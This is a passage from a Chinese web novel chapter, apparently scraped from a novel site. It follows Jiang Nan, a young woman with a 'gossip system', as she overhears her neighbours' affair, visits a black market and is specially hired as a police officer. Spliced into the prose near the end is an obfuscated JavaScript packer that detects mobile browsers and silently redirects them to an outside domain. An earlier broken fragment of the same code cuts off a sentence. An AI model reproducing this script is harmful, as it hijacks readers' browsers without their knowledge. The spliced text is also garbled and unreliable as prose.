天老爷呀,姜楠和陈金花双双捂住嘴,眼睛瞪得滴溜圆儿,她们发现大秘密了啊。 这程大柱,什么时候和孙巧莲勾搭上了啊? 他不是和范桃花有一腿的嘛?! 他和孙巧莲,明明平时都不怎么说话的啊。 姜楠佩服。果然,她的这些邻居们,一个个的,都不是省油的灯。 乱,太乱了啊。 姜楠开始反思,她不能因为太熟悉,就不看他们的脑电波了啊。 真是的,老爸总是说太熟悉的人不要经常看,免得知道太多,见面露马脚。 看看,作为有吃瓜系统的人,这瓜,她吃的迟了啊。 隔壁的姜满城也震惊呢。 妈呀,他虽然隐隐约约有猜测,但也是第一次听见现场啊。死去的方鸿运方兄弟啊,你这绿帽子,可真是够多的。一顶接着一顶,也不知道在下面过得安不安生。 偷听的姜家人震惊,姜家人不解,姜家人佩服,可孙巧莲和程大柱全然不知道,还继续打情骂俏呢。 孙巧莲抬手锤了程大柱一下,娇嗔道:“死鬼,你怎么能这么说人家,人家和林兵清清白白的,是把他当成弟弟的啊。我们是比亲姐弟还亲的感情,你可不要胡说。再说,我喜欢谁,你还不知道吗?要是这样,你可真是太伤我的心了。你知不知道,每天看见你,却要装作什么关系也没有,笑都不能跟你笑一下,我这心里多难受多痛苦吗?你还来这么戳人家的心窝子,人家这满腔的爱意,错付了啊。” 程大柱得意地笑了出来。他就知道,孙巧莲这个女人爱惨了他,林兵算什么,就连裘向东她都看不上,就相中他程大柱了。不得不说,这个女人有眼光。 他握住孙巧莲的手,说:“你可真是个坏女人,不过,既然你这么喜欢我,我就给你一次机会,今晚小树林,来不来?” 孙巧莲心里翻白眼儿,果然男人都一个样儿,说点好话就相信,谁喜欢你啊,老娘是图你的钱好不好。要不是图钱,难道图你长得丑图你屁话多,还是图你满身油烟味儿?真是一个个的,怎么都这么自信。 不过她可是老演员了,很快眼睛亮晶晶地点头,声音都急切了起来:“来,我肯定来,我......” 程大柱可管不了那么多了,他一把抱住孙巧莲就啃,手更是不老实,冲着重点部位就去。 那声音,啧啧啧,听着跟啃猪蹄子似的,啾啾啾的。 姜满城、陈金花、姜楠:他们,不会是要在这里全垒打吧?这大庭广众的,也太放肆了吧? 额,虽然不是大庭广众,但也有听众的啊。而且这是外面,敲重点,在外面,又不是他们家炕头。 不过显然两人也是有分寸的,很快气喘吁吁地分开,孙巧莲窝在程大柱的怀里,温温柔柔地说:“我......我晚上要先去趟黑市儿,可能要晚点儿才能去小树林。你也知道,我家如今就南山一个人工作,他现在是学徒工,工资低,家里困难得很。但南笙和南海还小,小孩子嘛,总得多吃点儿好的。前一段他们还腿抽筋呢,我这想着去黑市儿买点东西给他们补补。” 程大柱哦了一声,伸手推开孙巧莲,狐疑地上下打量一番,他说:“你不会是为了让我替你去黑市,才来找我的吧?” 孙巧莲立刻开始喊冤:“你怎么能这么想我,我要是这样的人,就让老天爷降下一道雷,立刻劈死我。” 她开始嘤嘤嘤,心里却骂程大柱多疑,替她去还不是该的,难道她就是能白亲白睡的?想啥美事儿呢! 再说,她可不信什么老天爷不老天爷的,如果老天爷有眼,她怎么会过的这么苦?还不是早就吃香的喝辣的了,怎么会出来做这种生意? 她抹抹眼泪,装作伤心欲绝的样子:“人家是想你想得了不得,才冒险约你来这里见面的。你要是这样冤枉我,我......我们以后也不要来往了,我就当是一腔痴心喂了狗。你放心,我虽然还是会继续喜欢你,但我再也不打扰你了。我会将这份情谊深埋心底,深夜的时候独自回味,默默流泪。嘤嘤嘤。” 姜楠:妈呀,孙巧莲是琼瑶剧女主转世吧,怎么这么会说情话,这钩子留的,程大柱肯定感动啊。不是这情话多高明,而是这年代谁这么说话啊?这冷不丁遇到一个,程大柱不迷糊才怪。 果然,程大柱马上搂住了孙巧莲,柔声安慰道:“好了,我知道你是个好女人。你受委屈了,别哭,哭得我都心疼了。这样,我晚上替你去黑市,买一斤肉给你还有孩子补身体,好不好?你看你,别哭了,别忘了,我们不能久留,公厕这里来人不少的,快把眼泪擦擦,再让人看出来了。乖,听话,啊。” 姜楠:哕,哕,哕,想吐,怎么办。还乖,还听话,程大柱你一个厨子,怎么学霸总说话啊。她以后还怎么看霸总小说啊,天爷啊,她的日子怎么这么苦。 姜楠抬眼看看对面的陈金花,见陈金花也是一副强忍呕吐的样子,抬手拍拍老妈的肩膀,你的痛苦,我懂。 隔壁的姜满城白眼儿都要翻到天上去了,不过厕所后面,两人的戏码总归是结束了。两人整了整衣服,先后从厕所后面离开。 姜楠小心翼翼地探头去看,妈呀,可真够谨慎的,不仅先后离开,还走了不同的方向,怪不得她没发现呢。 不是她不行啊,是敌人太狡猾,嘤嘤嘤。 咦,她怎么也成了嘤嘤怪,不好,这样不好。 姜满城三人脸色苍白地从公厕出来,走到不远处的自行车旁,彼此对视一眼,嗯,都是没见过啥世面的样子。不过三人很快地打起精神,这种事儿,当事人都不尴尬,还大大咧咧在厕所后面乱来,他们尴尬什么,又不是他们的错。 三人抬头挺胸,雄赳赳气昂昂地来到筒子楼。还没上楼,就被在楼下坐着纳凉唠嗑儿的刘老太招手叫了过去。三人想都没想,一溜烟儿凑过去。 嗯,八卦嘛,谁嫌多啊。 那晚医闹事件的不愉快已经过去,如今最热门的,可是老吴头被警察带走,吴春丽和范桃花走了的事儿。 姜家自然知道老吴头为啥被带走,这不是牵扯特务嘛,他们也不说,只听刘老太口沫横飞地讲述。 这讲八卦啊,讲究个氛围,姜满城就格外上道,一会儿一句“后来呢”,一会儿一句“怎么会这样”,一惊一乍之间,让刘老太格外有成就感,那是超水平发挥,讲得比平时精彩多了。 “老吴头肯定是做啥缺德事儿了,不然咋两天了都没回来。”刘老太总结道,“你们不知道,春丽一个人在家,那个哭的呦,劝都劝不住。你们猜后来怎么着了?” “怎么着?哎呦,刘大妈,您可别卖关子了,快讲吧,真是要急死我了。” 你看,姜满城就是这么上道。 刘老太嘴角都要翘上天了,她斜楞着眼儿,一副我最牛逼的表情:“范桃花回来了!还在家里住了一天,这不上午吴大锤回来,把她撵走了。她也不知道咋想的,说是要把春丽划到她名下,这样她就春丽一个孩子在身边,春丽就不用下乡了,也不知道真的假的。如果是真的,范桃花也算是办了一件人事儿。” “春丽就跟着范桃花走了?”姜满城难以置信,范桃花可不是啥好人,还不如吴大锤呢。 “那可不咋的。春丽又不傻,跟着她娘就不用下乡,可不就走了。”刘老太用一副看傻子的眼神扫了一眼姜满城,“连这都想不到,平时看你也不笨啊,这脑子咋转不过来呢。” “哎呀,那谁能有刘大妈您想得明白,是吧?要不说家有一老如有一宝呢,这啥时候,我们年轻人都比不上你们。”姜满城恭维了两句,见没啥新鲜事儿了,起身和母女二人一起回家。 只是他们想走,有人却不想他们走。方阿婆转着眼珠子,柔声问姜满城:“满城啊,你的病是不是又严重了?这去乡下两天,看着气色可不太好。你可是年轻人,可得当心身子骨儿,不然老了可遭罪。金花,你也是,可不能粘得太紧了。这男人啊,不能总是在女人身边打转,得......” 姜满城脸色不好,那是一晚上没睡,破坏组团仙人跳累的。刚才又听了一出大戏,他同情地瞥了眼方阿婆,看到她身后的方南笙、方南海兄弟俩,笑了笑,那笑容十分的灿烂,他说:“方阿婆,您家南山上了班,有没有给两个弟弟买肉骨头炖汤喝啊?我记得你说,你家南笙、南海晚上抽筋来着,可得好好补补。南山都接了方大哥的班,他两个弟弟可什么都没捞着,以后还得下乡,南山可得对两个弟弟好。” 你看看,他多好,还给他们买肉找理由,天底下就没有这么好的邻居,没有! 两兄弟也八岁了,闻言眼睛都亮了,方阿婆回头看了一眼,暗道一句不好,转身指着姜满城,哭丧着脸叫屈:“满城你怎么不知好歹啊,阿婆是关心你,你却在这里挑拨他们兄弟的关系,你还是不是人啊。我家南山最懂事了,要你在这里败坏他的名声!他都买过一次大骨头了,要喝多少才是多?南笙,南海,咱们走,不理这个多嘴多舌的。” 方阿婆牵着两个孩子的手,抢先一步上了楼。 “方阿婆,你说你怎么还急了呢。”姜满城对着方阿婆三人的背影,委屈地喊。见人越走越急,他耸耸肩,无奈地对众人表示,“我就是关心孩子两句。那次方阿婆还端着大海碗要我家的骨头汤呢,这我问两句怎么了。真的,我真的没别的意思。” 看方阿婆不痛快,刘老太也乐得嘎嘎笑,乐完了,她突然问道:“裘家小子出啥事儿了,你知道不?半下午回来的时候啊,那脸臭的,跟粪坑一个样儿了。见了我们也不打招呼,也不知道咋了。” 姜满城呵呵笑了两声,不过他也没说。这种事儿,他不说,早晚也能传过来。他还是不多这个嘴了,本来两家关系就不好,再多嘴,不定被怎么记恨呢,多一事不如少一事,他可是很精明的。 姜满城又应付了两句,晃晃悠悠地上楼,很快地进了家门。 他们三人是下午四点从西河岸大队出发的,此时也差不多六点半了,三人低声讨论着刚才的八卦和从西河岸带回来的东西,叽叽喳喳。 “爸,妈,这离婚,一人带一个孩子,就能不下乡啊?” 陈金花:“应该不能吧,范桃花应该是认识什么人,走关系了。具体的政策我也不清楚。你是独生子女,不用下乡,我和你爸就没怎么关注,等我明儿上班问问。” 姜楠笑嘻嘻:“不用的呀,我就是好奇随便问问。爸,奶奶这次给了什么蘑菇呀?有没有榛蘑?我可最喜欢吃这个了,榛蘑炖小鸡可是最香的。” 姜满城:“有,少不了你的,明儿咱们就炖鸡吃。” 三人叽叽喳喳,等八点半天色全暗下来,姜楠才从沙发上起身,意犹未尽地去洗脸,装扮一新地出了门。 有了空间,还有1000吃瓜币的富余,姜楠果断买了假发、变声器和一些化妆用品,争取这次去黑市儿的时候没人能认出来。这几天去乡下玩,她算是把系统商城的商品看了一个遍,跟日后的某宝似的,什么都有,不过像是迷药、武器之类的就别想了。就算是主系统想通过商城保护宿主,也只是给予法律范围内的帮助,其他歪门邪道的别想。 而且就算有,她也坚决不会买的!坚决不会! 开玩笑,明天,她就是要当警察的人了,歪门邪道她可是要坚决抵制的!她连瞧都不会瞧,嗯,就是这么谨慎,她可不能马失前蹄哦。 没错,系统已经接通了蓝青山的频道,确定明天蓝青山和沈所长会到油田办公楼送锦旗,并宣布特招姜楠进派出所的消息。这次去黑市儿不仅是为了囤货,更是为了提前庆祝她要有工作了! 姜楠轻手轻脚地下了楼,确定楼里的人没注意到她,这才悄么悄地穿过小树林,向黑市儿走去。 油田的黑市儿位于南边山脚下,早年间这里聚集着一群猎户,大概五六个人,搭伙儿猎大家伙的。房子也不多,六间房,大家都在房后边儿卖东西,前面儿则有人值守,一旦有人来查,大家就往山上跑。 这山可是个大山脉,深着呢,山货又多,狠狠心藏个十几年都不成问题。 姜楠顶着小平头,守门人看‘他’一个大男人,什么都没带,啥也没说就放了进去。这年头,进黑市儿卖东西要钱,买东西倒是不用的。 别以为黑市儿多高端多神秘。可能京城、沪市那种大城市,黑市儿还成规模,就油田,虽然大家也有钱,但周围人也就那样,卖东西的并不多的。而且油田管得严,大家也不大敢去,可不就规模小嘛。 姜楠转了一圈,也就发现几个卖粮食的、鸡蛋、野鸡、兔子,以及农家自织的土布,连卖猪肉的都没有。 而且大家都低着头,也不看人,蹲在墙边儿话都不说几句,见人蹲下来像是要买的样子,卖方伸出手指比划怎么卖,买方愿意的就比划要多少,不愿意的起身离开。 讲价?不存在的,这可是卖方市场。你不买,有的是人买。而且谁跟你拉拉扯扯的,一旦急了出声,还容易暴露,没看大家话都不说的嘛。 姜楠懊悔,她怎么忘了这茬儿了,变声器算是白买了。她转了一圈儿,买了一袋子白面,一包大白兔奶糖,又花钱跟管事儿的换了几张糕点票。见实在没什么了,起身准备离开,没想到远远看见女主唐夕过来。 她也是变装后过来的。姜楠能一眼认出她,全赖有系统协助,不然绝对不会将眼前这个一口黄牙、皮肤粗糙、发质枯黄、挎着篮子的农妇,跟唐夕联系在一起的。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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认出了人,姜楠也没上前,她虽然也伪装了,但万一被认出来了呢。她转身去其他摊位又转了转,这才走出黑市。巧了,这程大柱,正好走在前面。姜楠小心地跟在后面,到了家属院旁边的小树林,程大柱脚一拐,没朝家的方向走,径直进了小树林的另一头。 姜楠心里那个痒啊,她一秒钟也没犹豫,悄么悄地立马跟过去,还没走近,就听到了不寻常的喘息声。一男一女,作为老司机,姜楠立马知道了里面在干什么。心里骂了一声果然如此,她再次跟系统确认:“是不是孙巧莲?” 【是,宿主。】 “你说她怎么净吃窝边草?这可跟一般的小毛贼不一样。” 【因为窝边草肥啊,宿主。您忘了,您住的筒子楼,不说数一数二吧,也是豪华筒子楼了。】 姜楠一阵儿无语,转身快步回家。 “这被人推倒,算不算倒霉?”路上,姜楠突然问系统。 【应该不算,宿主。被推倒是因为唐夕的东西太抢手,下次换一个别的不抢手的,应该就不会发生这种事儿了。】 姜楠摸摸下巴,开心道:“那下次我可以想办法自己跟唐夕换东西,不用去黑市儿了。” 得知能跟女主换物资,最高兴的莫属姜满城了。他是一个重享受的,最不乐意的就是吃苦。没办法,上辈子吃的太多,这辈子是一点儿也不想吃。他把换物资的任务揽在身上:“交给我,小楠身上有系统,谁知道跟有空间的接触多了,会不会露出啥。我来对付唐夕。” “爸,你可不能有啥坏心思。上次我就想着捡漏儿,就拉肚子了,你要是有坏心思,还不知道咋样呢。” “你爸是那样的人吗?!”姜满城不乐意了,“我就换个物资,又不坑人,放心吧。” 陈金花犹豫道:“要不还是我去吧,你俩这人品可够呛。” 父女俩不乐意了,他们怎么够呛了,他们多无辜啊。一家人乐呵呵地耍花腔。可不乐呵嘛,明儿闺女就出名了,成了有工作的人,咋能不开心呢。 这边开开心心地耍宝,小树林里,孙巧莲提着肉,小心翼翼地猫着腰回家。心里将程大柱骂了一遍又一遍,这个不见兔子不撒鹰的混账,要不是看他家条件好,他又是个厨子,她孙巧莲才不哄着他呢。也不撒泡尿照照,头大脖子粗的伙夫一个,配得上她孙巧莲嘛! 整个筒子楼,孙巧莲最看重的,还得数姜满城和裘向东。这俩可是楼里长得数一数二的爷们儿。可惜,姜满城看不上他,裘向东又整日不着家。 看着手里的肉,孙巧莲骂了姜满城一句“没安好心”,她家南山没工作就得下乡,她把工作让给南山怎么了,就值得姜满城这么明晃晃地挑拨,真不是个男人!南山才上班,都没开饷呢,哪里有钱给两个弟弟买肉骨头。 想到儿子说的“以后工资都给她拿着”,孙巧莲翘起嘴角,脚步都加快了几分。婆婆不要她的工资,如今就连孙子的工资也不要,她虽然命苦,但遇上个好婆婆,又生了三个好儿子,这日子啊,可是比丑八怪陈金花有盼头儿多了! 她陈金花就生了一个闺女,以后连个摔盆的都没有,下辈子投胎做个畜生吧。 孙巧莲高兴地哼着歌儿,到了家属院才停下,不发出一点儿动静,小心翼翼地进了家门。 开心的日子总是很快,还没怎么着呢,翌日晌午,也就10点左右的样子,沈明光沈所长和涂书记,以及其他几位领导,扛着锦旗,一路招摇地来了家属院。 众人再一次见到这种场景,实话说,淡定多了。他们也是见多识广的老头老太太了,哪能被这种架势惊到。 只是听到姜楠协助抓到偷油贼,又帮助公安抓捕特务时,一个个眼珠子瞪得比鸡蛋都大。上次见义勇为,这次又是抓贼又是抓特务的,夭寿哦,他们四号楼这是要出大人物啊?! 大爷大妈们声音都不敢出,生怕这是在做梦。沈明光见状十分的满意,你看看,大家伙儿也都不敢相信呢,这不正说明姜楠功劳大,那他们特招姜楠进派出所,不就是顺利成章? 想到这里,沈明光清清嗓子,正色道:“鉴于姜楠同志的特殊贡献,油田派出所全体人员决定,特招姜楠进入警察队伍,以后发挥所长,继续为油田做贡献。我代表第十作业处油田派出所全体人员,在这里热烈欢迎姜楠同志的加入,希望姜楠同志以后在派出所,尽职尽责,全心全意为人民服务!” 说完,他抢先鼓起掌来。大爷大妈们晕晕乎乎地跟着鼓掌,有了带头儿的,更多的人也跟着鼓起来,气愤诡异地热烈着。 突然,刘老太嗷一嗓子,打破了这热烈的宁静。 “哎呀妈呀,警察同志,你们没搞错?姜楠要当警察?她......她可是医闹的人,你们连这种人都要?!” 沈明光皱皱眉,看说话的是个老太太,他放下担心,严肃地说:“那是为了抓捕特务需要,才故意闹事儿的。具体情况不方便透露,不过希望大家以后不信谣不传谣,姜楠是做过贡献的好同志,这些话大家以后不要说了。” “啥特务啊?警察同志,咱油田还有特务?”人群里,有人高声问道。 “这个目前还在深入调查,等全部查清,会告诉大家的。”沈明光严肃脸。 “不可能!”裘盼儿眼睛瞪得比铜铃还大,她本来不想回来的,她和田家光相处得好好的,不料被家人强行带回来。如今又看到这一幕,她歇斯底里地喊,“你们没听到吗,她是医闹,医闹啊,你们为什么找她?你们不是警察嘛,不是明察秋毫嘛,怎么这么糊涂!她姜楠都医闹了啊,她这种人你们都能要,那我也可以的啊。我比她差哪儿了?我明明更好的,我......” 好嘛,一个个的,都没把医闹和抓特务联系起来,不知道是因为大家太单纯,还是因为姜楠的演技太好了。 裘老太本来嫉妒得眼都红了,此时见几位领导脸色变了,明显露出不喜,忙狠狠拧了把孙女的胳膊,赔笑道:“我家盼儿也是高中毕业,这不没找到工作,着急嘛。领导们别见怪,我这就带她回去。” 孙巧莲眼神闪了闪,笑着恭喜姜楠:“小楠啊,你这进去是几级工?怎么定级啊?” 沈所长看了孙巧莲一眼,对姜楠点点头,柔声道:“姜楠同志,还请下午去派出所办理入职手续,明天正式上班,能做到吗?” 31. 当警察了 油田派出所离办公大楼不远,是个一进的大院子,外墙根儿朝上一米那一段儿,被刷成了蓝色,远远的也能一眼认出来。院子没有守门的,不过这不管啥时候,也没有人敢擅闯派出所,倒是不用安排守门人。 进去,里面正房,左右厢房,加起来大大小小十余间,墙根儿也一律刷成了蓝色,十分的整齐好看。 院子西南角盖了个车棚,棚上搭着蓝色的遮雨布,里面稀稀拉拉停了十几辆自行车。 吃过午饭,姜满城、陈金花夫妻二人,领着姜楠过来办手续。两人假都不用请,领导特意发过话,这送油田大功臣入职,哪里还用请假? “老蓝,我这闺女可交给你了,你可得给我看好了,不然我得找你家去。” 负责领着姜楠办理手续的,正是蓝青山。其实一个新人,哪里用得着副所长亲自领着,所里直接指定个人就行。这不是蓝青山惜才,又跟这一家子关系不错嘛,他是特意过来的。 “你小子就是话多,走吧,先去档案室那里确认档案移交完毕,然后再去内勤填几个表格,签几个字儿,最后领几套衣服,就成了。” 蓝青山在前面带路,东边屋子里伸出几个脑袋,对着姜楠这边的方向探头探脑,叽叽喳喳。蓝青山听到动静,回头指了指这几个小子,笑骂道:“看什么看,不认识了?!那晚上帮着抓偷油贼的就是姜楠,以后大家都是同事,可得多照顾人家女同志。” 嘿嘿嘿。 “姜楠好。” “姜楠好啊,风景旧曾谙.....” “切~” 蓝青山挥手:“行了,小邵,别整那些词儿了,回去办公。” 探出来的脑袋又一个个缩回去,姜楠倒是只认出了蓝青山的搭档小许,其他人都没认出来。她在后面跟着,全程像个小透明,要不是签字还需要她动手,估计姜满城能全程代劳。那递烟的姿势,当真是娴熟无比。 “好了,这是姜楠同志的警服,一共两套,平时上班的时候都是要穿警服的,下班就不要穿了,注意影响。” 蓝青山双手将衣服郑重地交给姜楠,叮嘱道:“还有一些鞋、袜子、手套之类的,小何,你带着姜楠去领一下,再带她去熟悉熟悉更衣室。姜楠,明儿穿着便服上班,到了之后再换警服,知道吗?” 姜楠注意到蓝青山特意强调了两次衣服的事儿,想想就明白了。她记得上辈子看《血色浪漫》,里面就有一个当兵的,因为穿着制服打坏人,最后却被军队开除的事儿。果然,任何时候这种不方便的制度,背后都是有血和泪的教训的。 小何是内勤的一位女同志,带着姜楠在所里溜了一圈儿,顺便领了劳保用品。姜满城和陈金花则继续留下来跟蓝青山套近乎,争取让蓝青山带姜楠。这啥时候,老带新,都是传统。派出所他们也不认识别人,可不就认准蓝青山了嘛。 蓝青山虽然看着也四十多了,不年轻,但经验丰富,脑袋瓜聪明,他们还是很中意的。 云山雾绕的说了一堆,蓝青山听明白了,他摇了摇头,坚决道:“这个不行,我的搭档是小许,已经磨合两年了,轻易不会变的。你们放心,派出所一定会给姜楠安排一个靠谱的搭档。” 等姜楠办好事出来时,姜满城也没有说服人,他一步三回头地离开,那眼神儿看得蓝青山一阵牙疼,不知道的,还以为他是个负心汉呢。 “爸,你别担心了,我功夫这么好,不管搭档是谁都不会出事儿的。”姜楠拍着胸脯,心里格外的兴奋。 警服哎,她要穿警服了。 这时候的警服还是“六六式”,绿色帽子,上衣是草绿色,下衣为藏蓝色,和军服样式是一样的。 兴奋的姜楠回家就换上了警服,对着镜子嘚瑟了一个小时,这才依依不舍地换了衣服。昨晚买的大肠和五花肉,被姜满城做成了干锅肥肠和红烧肉,一家人结结实实吃了一顿好的,正式庆祝姜楠成为警察。 隔壁刘老太嫉妒得眼睛都红了,这一家三口都是干公的,老天爷啊,日子得好过成啥样!他们程家已经算是楼里吃得好的了,再看看人家,好家伙,一顿造两个肉菜,这是不想过了啊。不顺心的刘老太一顿乒乒乓乓,愣是没惹来人嫌弃。 大家都震惊着呢,谁有功夫管别人。 方阿婆炒着肉,一句句低声骂着姜满城。要不是他胡说八道,两个小孙子怎么会闹着吃肉喝汤,她儿子的帽子也不会再绿一次。她大孙子多孝顺的,两个小孙子本来也乖乖巧巧的不闹事儿,如今闹着要吃要喝,全是姜满城的错。这杀千刀的,为啥老天爷就不下个雷劈死他! 她转转眼珠子,重重哼一声,进屋跟大孙子小声嘀咕:“南山,你不是跟姜楠那小丫头一个学校毕业的?你长这么俊,勾勾手指,那丫头还不得扒上来?到时候你哄哄她,把她的工作骗到手,让你妈去派出所,工作到手了咱们再把她踹了,看他们姜家还嘚瑟个什么劲!” 派出所男同志多,牺牲的也多,嘿嘿,等她儿媳妇进了派出所,再勾搭一两个,说不定能再得个工作,那她三个孙子不都是工人了?到时候,他们老方家,才是这楼里的最上等人家! 方南山眼神闪了闪,却正色斥责方阿婆,他说:“奶,你胡说什么呢。姜楠可是个清清白白的姑娘,不可以这样毁小姑娘名声的。” 一旁扫地的孙巧莲眼睛亮了亮,是啊,大姑娘最在乎名声,她出去传几个瞎话,就说姜楠暗恋她儿子,看谁还看得上姜楠! 吴家,吴大锤本来还在担心老爹,此时却顾不上了,他兴奋地两眼冒光,同样小声叮嘱儿子。他倒是没那么多弯弯绕,只是看中了姜楠这个人,觉得堪堪配得上他家建国。 他说:“建国,你觉得姜楠那丫头咋样?你看楼里高中毕业的丫头,如今就她有工作,小丫头虽然高,但长得还行,你们又是同一个高中的,平日里,你要是没事儿多找她聊聊,说不定就处上对象了呢。到时候你们夫妻两个双职工,咱家这房子就保住了。” 吴建国脸有些红,没说答应,也没说不答应。 不过细看就能发现,他眼睛亮亮的,格外有神。 有人家打着小心思,有人家却是愁云惨淡。 裘家,裘向东冷着一张脸,跟结了一层寒霜似的,眼睛更是恶狠狠地瞪着裘盼儿,早没了往日的温柔和煦:“你今儿是发什么疯?丢不丢人!把你送回老家是让你立功的,不是让你学那些农妇,啊,那些上不得台面的做派的。真是,你妈怎么就生了你这么个丫头片子!我可是什么都比姜满城强,就生个女儿不如人,真是气死我了。” 裘盼儿低着头,眼泪啪嗒啪嗒往下掉。她就知道,这个家里没有人疼她,都是假的,只有家光......她擦擦眼泪,只有家光不嫌弃她。 裘老太看不得儿子生气,劝道:“向东,你别生气。孩子不懂事教教就行了,哪里值当生气,不值得。” 裘向东却没听,一通邪火还没发完,继续寒声道:“丢人现眼的东西!都是高中毕业,人家就能有工作,她怎么就不能争点儿气?!啊,怎么就能输给姜满城的闺女,怎么能?!没用的东西,怎么就比不上姜楠!” 裘向东十分的暴躁,输给谁都行,就是不能输给姜满城。他什么不比姜满城好?!不行,裘盼儿整日呆在一号院,不是提醒着大家,她裘向东的女儿不如姜满城的? 这可不行,万万不行! 想到这里,裘向东厉声吩咐裘老太:“妈,明天把她送到乡下去,别成日里在家碍眼!成天在一号院呆着,这不是打我裘向东的脸嘛!我裘向东丢不起这个人!” 陶美玉嗫嚅着嘴角想求情,无奈裘向东的低气压太过骇人,连裘老太都不敢再出声了,家里诡异的安静着。陶美玉一向在家没什么地位,此时更是吭都不敢吭了。 裘向东在西河岸大队丢了人,本来打算今天早早去井上避一避的,村里的事儿早晚在家属院儿传开,他可是最在乎面子的人,想着去井上呆几天避避风头。谁承想突然听说姜楠当警察的事儿,气得愣是没走。此时见一家人跟霜打的茄子似的,他饭也吃不下去了,起身穿上鞋就走:“我晚上去队里睡,明天去井上,起码十几天不回来,你们不用等我。” 陶美玉低垂着眼角,她知道丈夫又去‘那里’了。她偷偷擦掉眼泪,她的命怎么这么苦,比生吃黄连还苦啊。果然,女人生不出儿子就是不行,根本没人在乎,就连生下来的丫头片子,都不争气,不知道心疼人!她抬起头,怨毒地盯着闺女。 裘老太连忙上前拉住儿子,她小声劝:“向东啊,你可得悠着点儿。现在管这么严,你要是出什么事儿,咱们家可怎么办啊。” 她了解儿子,连陶美玉都能察觉枕边人不对劲儿,她作为母亲,怎么不知道。她平时逼着儿媳妇生儿子,那是为了向东着想,不想儿子绝后,死了连个摔盆的都没有。 她裘老太是不缺孙子的,她儿子都三个呢,孙子也四五个,真是不缺孙子的。 可家里这么多人,有出息的,就向东一个。向东就是裘家的定海神针,可不能出事! 裘向东甩开裘老太的手,厌恶地说:“行了,我心里有数儿。记得把人送到乡下,我走了。” 至于林家,林家就俩人,还是俩光棍,倒是没有那么多弯弯绕,安安静静地吃了晚饭。 姜楠不知道她当警察的事儿,在邻里之间造成这么大的轰动。此时她正哼哼哈嘿,跟着她娘在楼下空地上练武呢。姜满城则搬个小马扎,乐呵呵地坐看母女俩比划。 陈金花的功夫是正经学过的,磕头拜师学艺的那种,一整套那可都是有传承的。姜楠生下来,陈金花就写信问过师父了,师父也没不让她教。 可惜,姜楠不是个能吃苦的,夏练三伏冬练三九那是扯淡,三天打鱼两天晒网才是常规操作。 好在姜楠这辈子的身体还是有点儿天赋的,断断续续也学了些。对付穷凶极恶的歹徒可能有点儿玄,但一般的小毛贼还是不在话下的。 此时吃完晚饭也半个小时了,陈金花拉着闺女下来再练练,以后她闺女当警察,可得把手上功夫再捡起来。抓贼做任务的,功夫不好可不行。 这次姜楠也不叫苦了,她可是很惜命的,跟着她妈,一招一式地比划起来。 楼上,裘盼儿呆在房间里,恶狠狠地盯着姜楠。 她怎么就这么好命,家里人疼她,邻居也喜欢她,还找到了工作,凭什么?! 明明她家条件更好,明明小的时候,大家最常夸的人是她,明明她长得也很好啊,凭什么姜楠有工作她没有?! 等着吧,裘盼儿不怀好意地想,姜楠还以为当警察多好呢,等她被大坏蛋打成重伤,就知道厉害了!最好被人羞辱一通,嫁不出去才好呢。到时候她嫁给家光,而姜楠只能嫁个二婚头老鳏夫,还要帮别人养孩子,老无所依,这才是报应呢。 裘盼儿恶毒地诅咒着,隔壁程改改的心里也不好受。 程改改虽然是姜楠的好朋友,可心里隐隐也是嫉妒的。一号院同龄的女孩子,哪个不嫉妒呢?明明一样是女孩子,为什么姜楠就这么好命,在家什么都不用做,就能得到父母的疼爱? 程改改虽然不会诅咒姜楠出事,可也隐隐希望,姜楠的工作给她就好了,这样她就不用下乡,能够留在城里,也能嫁个好人家。下乡可是要过苦日子的,姜楠是独生子女,本身就不用下乡,老天爷为什么把这么好的工作机会给姜楠呢? 同龄的女孩子在嫉妒,同龄的男生,那小心思就多了,只是吧,姜家父母都是溺爱孩子的,如何行动还得谋划谋划。 对,说的就是方南山和吴建国,两人动了小心思,却都没敢行动。谁让,姜楠的工作,是警察呢。这小心思可以有,行动必须周密才行啊,他们可不想因为这个进派出所。 同龄人小心思多,上一辈儿的就直接多了,见姜楠母女出来,一个个箭一样蹿过来,打听今儿报道的事儿。 刘老太最直接,第一个问道:“小楠,你这明天就能上班了?不用先做学徒啥的?” 姜楠边学边笑嘻嘻地回:“刘奶奶,我是立功进去的,直接就是正式工,不用当学徒。再说,警察也没有学徒这个说法。” 刘老太眨巴着小眼睛,半点儿没有因为没见识的话而退缩,反而更直接地问道:“那你是几级工?工资多少?过年过节的有啥福利?” 姜楠也没隐瞒,反正这年头的工资都是公开透明的,她就是想隐瞒,也隐瞒不了啊。派出所那么多人,她这种通过立功进去的,肯定是焦点。估摸现在,她的生辰八字儿都有人打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461196|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听出来了。 “刘奶奶,我是八级民警的工资,一个月工资是三十元,福利啥的我也不知道啊,得等当了警察再说。” 刘老太羡慕地直拍大腿:“三十块啊,不少了!” 要知道她家大柱子,做了快十年的大厨,工资也就不到六十,刚开始还是学徒,工资都没有的,白干活不说,过年过节还得给师父送礼。姜楠第一年就能拿这么多,可不羡慕死她了嘛。 “小楠啊。”刘老太语重心长,“你跟我家改改是好朋友吧?” 见姜楠点头,刘老太继续道:“那你这咋抓的特务,得跟我家改改说说啊。你看,改改要是没工作,就得下乡去吃苦了。你从小跟改改一起长大,舍得看她下乡吃苦?” 姜楠皱着小脸儿,将小短发挠成了鸡窝,看得一旁的姜满城没好气儿:“别分心!” 转头,姜满城笑眯眯:“刘大妈,小楠是有功夫,才敢去抓特务的。您不知道,抓特务可危险着呢。以前那个刘警官厉害吧,那可是一拳就能把你家大柱子打趴下的主儿,可还不是死在这些人手里了!我们呐,可不敢乱教人。到时候改改要是出什么事儿,我们可担待不起。” 